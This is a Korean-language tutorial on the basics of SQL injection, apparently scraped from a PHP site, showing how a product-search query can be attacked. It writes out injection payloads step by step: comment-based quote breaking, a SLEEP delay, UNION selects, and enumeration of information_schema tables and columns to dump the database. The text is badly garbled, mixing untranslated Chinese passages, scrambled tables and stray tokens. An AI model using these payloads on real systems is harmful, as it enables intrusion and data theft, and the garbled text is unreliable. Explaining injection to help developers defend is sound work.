SQL 주입의 기본 원리
WEB 기술은 빠르게 발전하고 있지만 SQL을 철자하는 전통적인 기술은 맨손으로는 여전히 제한적입니다. 결국, 복잡한 ORM 규칙 세트를 학습하는 것보다 직접 수행하는 것이 더 편리하고 직관적입니다. 일반적으로 SQL을 직접 작성하는 사람들은 SQL 주입이 위험하다는 말을 들어야 하지만 항상 스스로 생각합니다. 내 SQL 문은 너무 간단해서 주입할 수 없습니다.
5분만 시간을 내어 이 전체 예제를 읽어보세요. 이제부터는 어떤 위험도 감수해서는 안 됩니다.
간단한 장면
제품명 입력, 해당 가격 표시, 생산 날짜 및 생산 위치 정보를 제공하는 WEB 인터페이스가 있습니다. 예를 들어 Hammer 디스플레이를 입력합니다.
product | price | production place#🎜🎜 ## 🎜🎜#제조일 | |
---|---|---|---|
12.98 | 미국 사람# 🎜🎜# | 2019.11.07 | |
29.98 | 캐나다# 🎜 🎜# | 2019.11.11
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
select ? from ? where ? Like '%'%';
--
를 사용해야 합니다. . select ? from ? where ? Like '%'; -- %';
--
뒤에는 댓글 내용(#
도 사용할 수 있음)이 따라오므로 모든 제품 정보를 얻을 수 있으므로 멀리, 아직도 위험 신호 냄새를 맡지 못했습니다. --
来把最后一个单引号注释掉。
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
--
后的是注释内容(你也可以用#
생산지 | 생산일 | ||
---|---|---|---|
미국식 | # 🎜 🎜#2019.11.07클럽해머 | 29.98 | |
#🎜 🎜#2019.11 .11 | 손질칼 | 10.98 | |
2019.11. 1# 🎜🎜# | 본닝나이프 | 19.98 | 중국 |
실력을 시험해보고 | 이전에서 확장할 수 있는 작은따옴표 부분을 붙잡으세요. 단계. 간단한 지연문을 사용해 보겠습니다. |
물론 더 파괴적인 것도 있습니다! select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
이 데이터베이스에 어떤 테이블이 있는지 알아야 합니다! 그래야만 유용한 정보를 얻을 수 있습니다.
Union을 사용하여 여러 테이블의 내용을 함께 넣을 수 있습니다. 한번 시도해 보세요.
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
product#🎜 🎜#
가격
생산지
#🎜 🎜#클로해머 | 12.98 | American | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
29.98 | Canada | 2019.11.11 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3 | 4 | 可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。 Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。 select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %'; 로그인 후 복사 로그인 후 복사
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。 看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。 select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %'; 로그인 후 복사
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦): select name,price,address,updated_at from products where name like '%Hammer%'; 로그인 후 복사 通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表 위 내용은 SQL 인젝션의 기본 원리를 빠르게 이해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요! 본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
저자별 최신 기사
최신 이슈
부분 값 조건에서 쿼리 기록 - SQL 기술 공유
code라는 열이 있는 zipcode라는 테이블이 있습니다. Code 열에는 우편번호 접두사가 포함됩니다(예: 395453302120312). 제공된 우편번호가 ...
에서 2024-04-06 16:01:26
0
1
395
관련 주제
더>
|